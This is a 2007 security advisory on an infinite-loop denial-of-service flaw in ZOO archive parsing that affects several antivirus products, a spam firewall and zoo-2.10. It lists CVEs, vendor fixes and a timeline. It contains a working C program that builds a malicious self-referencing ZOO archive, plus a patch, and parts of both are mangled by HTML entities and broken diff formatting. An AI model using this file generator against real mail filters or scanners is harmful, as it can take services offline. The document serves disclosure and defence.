Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:16939
HistoryMay 07, 2007 - 12:00 a.m.

Multiple vendors ZOO file decompression infinite loop DoS

2007-05-0700:00:00
vulners.com
14

Topic: Multiple vendors ZOO file decompression infinite
loop DoS

Announced: 2007-05-04
Credits: Jean-Sebastien Guay-Leroux
Products: Multiple (see section III)
Impact: DoS (99% CPU utilisation)
CVE ID: CVE-2007-1669, CVE-2007-1670, CVE-2007-1671,
CVE-2007-1672, CVE-2007-1673

I. BACKGROUND

Zoo is a compression program and format developed by Rahul Dhesi in the mid
1980s. The format is based on the LZW compression algorithm and compressed
files are identified by the .zoo file extension. It is no longer widely
used, but many modern softwares implement the ZOO compression algorithm.

II. DESCRIPTION

It's possible to make the ZOO implementation to enter in an infinite loop
condition. The vulnerability lies in the algorithm used to locate the
files inside the archive. Each file in a ZOO archive is identified by a
direntry structure. Those structures are linked between themselves with a
'next' pointer. This pointer is in fact an offset from the beginning of
the file, representing the next direntry structure. By specifying an
already processed file, it's possible to process more than one time this
same file. The ZOO parser will then enter an infinite loop condition.

III. AFFECTED SOFTWARES

o Barracuda Spam Firewall
o Panda Software Antivirus
o avast! antivirus
o Avira AntiVir
o zoo-2.10
o unzoo.c
o WinAce
o PicoZip

IV. IMPACT

If this attack is conducted against a vulnerable antivirus, the host system
will have its CPU at 100% utilization and may have problems answering other
requests.

If this attack is conducted against an SMTP content filter running a
vulnerable ZOO implementation, legitimate clients may be unable to send and
receive email through this server.

V. SOLUTION

o Barracuda Spam Firewall - CVE-2007-1669:
They fixed this problem in virusdef 2.0.6399 for firmware >= 3.4 and
2.0.6399o for firmware < 3.4 March 19th 2007.

o Panda Software Antivirus - CVE-2007-1670:
They fixed this problem April 2nd 2007.

o avast! antivirus - CVE-2007-1672:
They fixed this problem in version 4.7.981, April 14th 2007.

o Avira AntiVir - CVE-2007-1671:
They fixed this problem in avpack32.dll version 7.3.0.6 March 22th 2007.

o zoo-2.10 - CVE-2007-1669:
This software is not maintained anymore. A patch for version 2.10 is
provided in section VII of this advisory because some SMTP content
filters may still use this software.

o unzoo.c - CVE-2007-1673:
This software is not maintained anymore. No patch is provided for this
software.

o WinAce was contacted but no response was received from them.

o PicoZip was contacted but no response was received from them.

VI. PROOF OF CONCEPT

Using the PIRANA framework version 0.3.3, available at
http://www.guay-leroux.com , it is possible to test your SMTP server
against this vulnerability.

Alternatively, here is an exploit that will create a file that will trigger
the infinite loop condition when it is processed.

/*

Exploit for the vulnerability:
Multiple vendors ZOO file decompression infinite loop DoS

coded by Jean-Sebastien Guay-Leroux
September 2006

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Structure of a ZOO header

#define ZOO_HEADER_SIZE 0x0000002a

#define ZH_TEXT 0
#define ZH_TAG 20
#define ZH_START_OFFSET 24
#define ZH_NEG_START_OFFSET 28
#define ZH_MAJ_VER 32
#define ZH_MIN_VER 33
#define ZH_ARC_HTYPE 34
#define ZH_ARC_COMMENT 35
#define ZH_ARC_COMMENT_LENGTH 39
#define ZH_VERSION_DATA 41

#define D_DIRENTRY_LENGTH 56

#define D_TAG 0
#define D_TYPE 4
#define D_PACKING_METHOD 5
#define D_NEXT_ENTRY 6
#define D_OFFSET 10
#define D_DATE 14
#define D_TIME 16
#define D_FILE_CRC 18
#define D_ORIGINAL_SIZE 20
#define D_SIZE_NOW 24
#define D_MAJ_VER 28
#define D_MIN_VER 29
#define D_DELETED 30
#define D_FILE_STRUCT 31
#define D_COMMENT_OFFSET 32
#define D_COMMENT_SIZE 36
#define D_FILENAME 38
#define D_VAR_DIR_LEN 51
#define D_TIMEZONE 53
#define D_DIR_CRC 54
#define D_NAMLEN ( D_DIRENTRY_LENGTH + 0 )
#define D_DIRLEN ( D_DIRENTRY_LENGTH + 1 )
#define D_LFILENAME ( D_DIRENTRY_LENGTH + 2 )

void put_byte (char *ptr, unsigned char data) {
*ptr = data;
}

void put_word (char *ptr, unsigned short data) {
put_byte (ptr, data);
put_byte (ptr + 1, data >> 8);
}

void put_longword (char *ptr, unsigned long data) {
put_byte (ptr, data);
put_byte (ptr + 1, data >> 8);
put_byte (ptr + 2, data >> 16);
put_byte (ptr + 3, data >> 24);
}

FILE * open_file (char *filename) {

     FILE *fp;

     fp = fopen &#40; filename , &quot;w&quot; &#41;;

     if &#40;!fp&#41; {
             perror &#40;&quot;Cant open file&quot;&#41;;
             exit &#40;1&#41;;
     }

     return fp;

}

void usage (char *progname) {

     printf &#40;&quot;&#92;nTo use:&#92;n&quot;&#41;;
     printf &#40;&quot;&#37;s &lt;archive name&gt;&#92;n&#92;n&quot;, progname&#41;;

     exit &#40;1&#41;;

}

int main (int argc, char *argv[]) {
FILE *fp;
char *hdr = (char *) malloc (4096);
char *filename = (char *) malloc (256);
int written_bytes;
int total_size;

     if &#40; argc != 2&#41; {
             usage &#40; argv[0] &#41;;
     }

     strncpy &#40;filename, argv[1], 255&#41;;

     if &#40;!hdr || !filename&#41; {
             perror &#40;&quot;Error allocating memory&quot;&#41;;
             exit &#40;1&#41;;
     }

     memset &#40;hdr, 0x00, 4096&#41;;

     // Build a ZOO header
     memcpy          &#40;hdr + ZH_TEXT, &quot;ZOO 2.10 Archive.&#92;032&quot;, 18&#41;;
     put_longword    &#40;hdr + ZH_TAG, 0xfdc4a7dc&#41;;
     put_longword    &#40;hdr + ZH_START_OFFSET, ZOO_HEADER_SIZE&#41;;
     put_longword    &#40;hdr + ZH_NEG_START_OFFSET,
         &#40;ZOO_HEADER_SIZE&#41; * -1&#41;;
     put_byte        &#40;hdr + ZH_MAJ_VER, 2&#41;;
     put_byte        &#40;hdr + ZH_MIN_VER, 0&#41;;
     put_byte        &#40;hdr + ZH_ARC_HTYPE, 1&#41;;
     put_longword    &#40;hdr + ZH_ARC_COMMENT, 0&#41;;
     put_word        &#40;hdr + ZH_ARC_COMMENT_LENGTH, 0&#41;;
     put_byte        &#40;hdr + ZH_VERSION_DATA, 3&#41;;

     // Build vulnerable direntry struct
     put_longword    &#40;hdr + ZOO_HEADER_SIZE + D_TAG, 0xfdc4a7dc&#41;;
     put_byte        &#40;hdr + ZOO_HEADER_SIZE + D_TYPE, 1&#41;;
     put_byte        &#40;hdr + ZOO_HEADER_SIZE + D_PACKING_METHOD, 0&#41;;
     put_longword    &#40;hdr + ZOO_HEADER_SIZE + D_NEXT_ENTRY, 0x2a&#41;;
     put_longword    &#40;hdr + ZOO_HEADER_SIZE + D_OFFSET, 0x71&#41;;
     put_word        &#40;hdr + ZOO_HEADER_SIZE + D_DATE, 0x3394&#41;;
     put_word        &#40;hdr + ZOO_HEADER_SIZE + D_TIME, 0x4650&#41;;
     put_word        &#40;hdr + ZOO_HEADER_SIZE + D_FILE_CRC, 0&#41;;
     put_longword    &#40;hdr + ZOO_HEADER_SIZE + D_ORIGINAL_SIZE, 0&#41;;
     put_longword    &#40;hdr + ZOO_HEADER_SIZE + D_SIZE_NOW, 0&#41;;
     put_byte        &#40;hdr + ZOO_HEADER_SIZE + D_MAJ_VER, 1&#41;;
     put_byte        &#40;hdr + ZOO_HEADER_SIZE + D_MIN_VER, 0&#41;;
     put_byte        &#40;hdr + ZOO_HEADER_SIZE + D_DELETED, 0&#41;;
     put_byte        &#40;hdr + ZOO_HEADER_SIZE + D_FILE_STRUCT, 0&#41;;
     put_longword    &#40;hdr + ZOO_HEADER_SIZE + D_COMMENT_OFFSET, 0&#41;;
     put_word        &#40;hdr + ZOO_HEADER_SIZE + D_COMMENT_SIZE, 0&#41;;
     memcpy          &#40;hdr + ZOO_HEADER_SIZE + D_FILENAME,
                         &quot;AAAAAAAA.AAA&quot;, 13&#41;;

     total_size = ZOO_HEADER_SIZE + 51;

     fp = open_file &#40;filename&#41;;

     if &#40; &#40;written_bytes = fwrite &#40; hdr, 1, total_size, fp&#41;&#41; != 0 &#41; {
             printf &#40;&quot;The file has been written&#92;n&quot;&#41;;
     } else {
             printf &#40;&quot;Cant write to the file&#92;n&quot;&#41;;
             exit &#40;1&#41;;
     }

     fclose &#40;fp&#41;;

     return 0;

}

VII. PATCH

To fix this issue, ensure that the offset of the next file to process is
always greater than the one you are currently processing. This will
guarantee the fact that it's not possible to process the same files over
and over again. Here is a patch for the software zoo version 2.10
distributed with many UNIX systems:

diff -u zoo/zooext.c zoo-patched/zooext.c
— zoo/zooext.c 1991-07-11 15:08:00.000000000 -0400
+++ zoo-patched/zooext.c 2007-03-16 16:45:28.000000000 -0500
@@ -89,6 +89,7 @@
#endif
struct direntry direntry; /* directory entry /
int first_dir = 1;
/
first dir entry seen? /
+unsigned long zoo_pointer = 0; /
Track our position
in the file */

static char extract_ver[] = "Zoo %d.%d is needed to extract %s.\n";
static char no_space[] = "Insufficient disk space to extract %s.\n";
@@ -169,6 +170,9 @@
exit_status = 1;
}
zooseek (zoo_file, zoo_header.zoo_start, 0); /* seek to where data
begins */
+

  • /* Begin tracking our position in the file */
  • zoo_pointer = zoo_header.zoo_start;
    }

#ifndef PORTABLE
@@ -597,6 +601,12 @@
} /* end if */

loop_again:
+

  • /* Make sure we are not seeking to already processed data */
  • if (next_ptr <= zoo_pointer)
  •      prterror &#40;&#39;f&#39;, &quot;ZOO chain structure is corrupted&#92;n&quot;&#41;;
    
  • zoo_pointer = next_ptr;
  • zooseek (zoo_file, next_ptr, 0); /* …seek to next dir entry /
    } /
    end while */

diff -u zoo/zoolist.c zoo-patched/zoolist.c
— zoo/zoolist.c 1991-07-11 15:08:04.000000000 -0400
+++ zoo-patched/zoolist.c 2007-03-16 16:45:20.000000000 -0500
@@ -92,6 +92,7 @@
int show_mode = 0; /* show file protection /
#endif
int first_dir = 1; /
if first direntry – to
adjust dat_ofs /
+unsigned long zoo_pointer = 0; /
Track our position in the file
*/

while (*option) {
switch (option) {
@@ -211,6 +212,9 @@
show_acmt (&zoo_header, zoo_file, 0); /
show
archive comment */
}

  • /* Begin tracking our position in the file */
  • zoo_pointer = zoo_header.zoo_start;
  • /* Seek to the beginning of the first directory entry */
    if (zooseek (zoo_file, zoo_header.zoo_start, 0) != 0) {
    ercount++;
    @@ -437,6 +441,11 @@
    if (verb_list && !fast)
    show_comment (&direntry, zoo_file, 0, (char ) NULL);
    } /
    end if (lots of conditions) */
  •  /* Make sure we are not seeking to already processed data */
    
  •  if &#40;direntry.next &lt;= zoo_pointer&#41;
    
  •           prterror &#40;&#39;f&#39;, &quot;ZOO chain structure is corrupted&#92;n&quot;&#41;;
    
  •  zoo_pointer = direntry.next;
    
               /* ..seek to next dir entry */
      zooseek &#40;zoo_file, direntry.next, 0&#41;;
    

VIII. CREDITS

Jean-Sebastien Guay-Leroux found the bug and wrote the exploit for it.

IX. REFERENCES

  1. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1669

  2. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1670

  3. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1671

  4. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1672

  5. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1673

X. HISTORY

2006-09-?? : Vulnerability is found
2007-03-19 : All vendors notified
2007-03-19 : Barracuda Networks provided a fix
2007-03-22 : Avira provided a fix
2007-04-02 : Panda Antivirus provided a fix
2007-04-14 : avast! antivirus provided a fix
2007-05-04 : Public disclosure

Related for SECURITYVULNS:DOC:16939